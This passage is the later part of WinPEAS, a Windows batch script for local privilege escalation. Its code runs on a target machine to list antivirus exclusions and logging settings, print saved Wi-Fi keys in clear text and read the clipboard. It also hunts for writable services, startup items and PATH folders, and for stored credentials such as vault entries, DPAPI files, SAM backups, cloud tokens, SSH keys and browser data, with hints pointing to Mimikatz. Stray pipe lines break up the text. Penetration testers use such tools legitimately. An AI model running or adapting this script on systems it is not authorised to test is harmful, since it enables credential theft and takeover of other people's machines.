WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
|
||||
ECHO.Checking for defender whitelisted PATHS
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:PSSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
|
||||
ECHO.PowerShell v2 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.PowerShell v5 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.Transcriptions Settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
|
||||
ECHO.Module logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
|
||||
ECHO.Scriptblog logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
|
||||
ECHO.
|
||||
ECHO.PS default transcript history
|
||||
dir %SystemDrive%\transcripts\ 2>nul
|
||||
ECHO.
|
||||
ECHO.Checking PS history file
|
||||
dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:MountedDisks
|
||||
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
|
||||
ECHO. [i] Maybe you find something interesting
|
||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:Environment
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
|
||||
ECHO. [i] Interesting information?
|
||||
ECHO.
|
||||
set
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
|
||||
IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
ECHO. [i] Checking directory permissions of running processes (DLL injection)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:NetworkShares
|
||||
CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
|
||||
net share
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkInterfaces
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
|
||||
ipconfig /all
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkUsedPorts
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
|
||||
ECHO. [i] Check for services restricted from the outside
|
||||
netstat -ano | findstr /i listen
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkFirewall
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
|
||||
netsh firewall show state
|
||||
netsh firewall show config
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ARP
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ARP"
|
||||
arp -A
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkRoutes
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
|
||||
route print
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsHostsFile
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
|
||||
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
|
||||
CALL :T_Progress 1
|
||||
|
||||
:DNSCache
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
|
||||
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WifiCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
|
||||
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
net user %USERNAME% /domain 2>nul
|
||||
whoami /all
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:BasicUserInfoUsers
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USERS"
|
||||
net user
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
|
||||
net localgroup
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoAdminGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
|
||||
REM seems to be localised
|
||||
net localgroup Administrators 2>nul
|
||||
net localgroup Administradores 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoLoggedUser
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
|
||||
quser
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:KerberosTickets
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
|
||||
klist
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any password inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:ServiceVulnerabilities
|
||||
CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
|
||||
:::sysinternals external tool
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
|
||||
::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
|
||||
::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here
|
||||
::ECHO. [i] AUTHETICATED USERS
|
||||
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
|
||||
::ECHO. [i] EVERYONE
|
||||
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
|
||||
::ECHO. [i] BUILTIN\Users
|
||||
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||||
::ECHO. [i] TODOS
|
||||
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
|
||||
::ECHO. [i] %USERNAME%
|
||||
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
|
||||
::ECHO. [i] Check for weird service permissions for unexpected groups"
|
||||
::accesschk.exe -uwcqv * /accepteula 2>nul
|
||||
CALL :T_Progress 1
|
||||
ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UnquotedServicePaths
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
|
||||
ECHO.
|
||||
::CALL :T_Progress 1
|
||||
|
||||
:PATHenvHijacking
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsCredentials
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
ECHO.Looking inside %localappdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
|
||||
:UnattendedFiles
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists.
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
|
||||
IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
|
||||
IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:SAMSYSBackups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
|
||||
IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
|
||||
IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:McAffeeSitelist
|
||||
CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
|
||||
cd %ProgramFiles% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %ProgramFiles(x86)% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings" 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %windir%\..\Users 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:GPPPassword
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
|
||||
cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:CloudCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
|
||||
cd "%SystemDrive%\Users"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
cd "%windir%\..\Documents and Settings"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
|
||||
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\TightVNC\Server
|
||||
reg query HKCU\Software\TightVNC\Server 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
|
||||
CALL :T_Progress 2
|
||||
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
|
||||
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
|
||||
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
|
||||
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
|
||||
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ExtendedDriveScan
|
||||
if "%long%" == "true" (
|
||||
CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
|
||||
reg query HKLM /f passw /t REG_SZ /s
|
||||
reg query HKCU /f passw /t REG_SZ /s
|
||||
reg query HKLM /f pwd /t REG_SZ /s
|
||||
reg query HKCU /f pwd /t REG_SZ /s
|
||||
ECHO.
|
||||
ECHO. [i] Iterating through the drives
|
||||
ECHO.
|
||||
for /f %%x in ('wmic logicaldisk get name^| more') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
) ELSE (
|
||||
CALL :T_Progress 2
|
||||
)
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
|
||||
ECHO.---
|
||||
ECHO.Scan complete.
|
||||
PAUSE >NUL
|
||||
EXIT /B
|
||||
|
||||
:::-Subroutines
|
||||
|
||||
:SetOnce
|
||||
REM :: ANSI escape character is set once below - for ColorLine Subroutine
|
||||
SET "E=0x1B["
|
||||
SET "PercentageTrack=0"
|
||||
EXIT /B
|
||||
|
||||
:T_Progress
|
||||
SET "Percentage=%~1"
|
||||
SET /A "PercentageTrack=PercentageTrack+Percentage"
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
|
||||
EXIT /B
|
||||
|
||||
:ColorLine
|
||||
SET "CurrentLine=%~1"
|
||||
FOR /F "delims=" %%A IN ('FORFILES.EXE /P %~dp0 /M %~nx0 /C "CMD /C ECHO.!CurrentLine!"') DO ECHO.%%A
|
||||
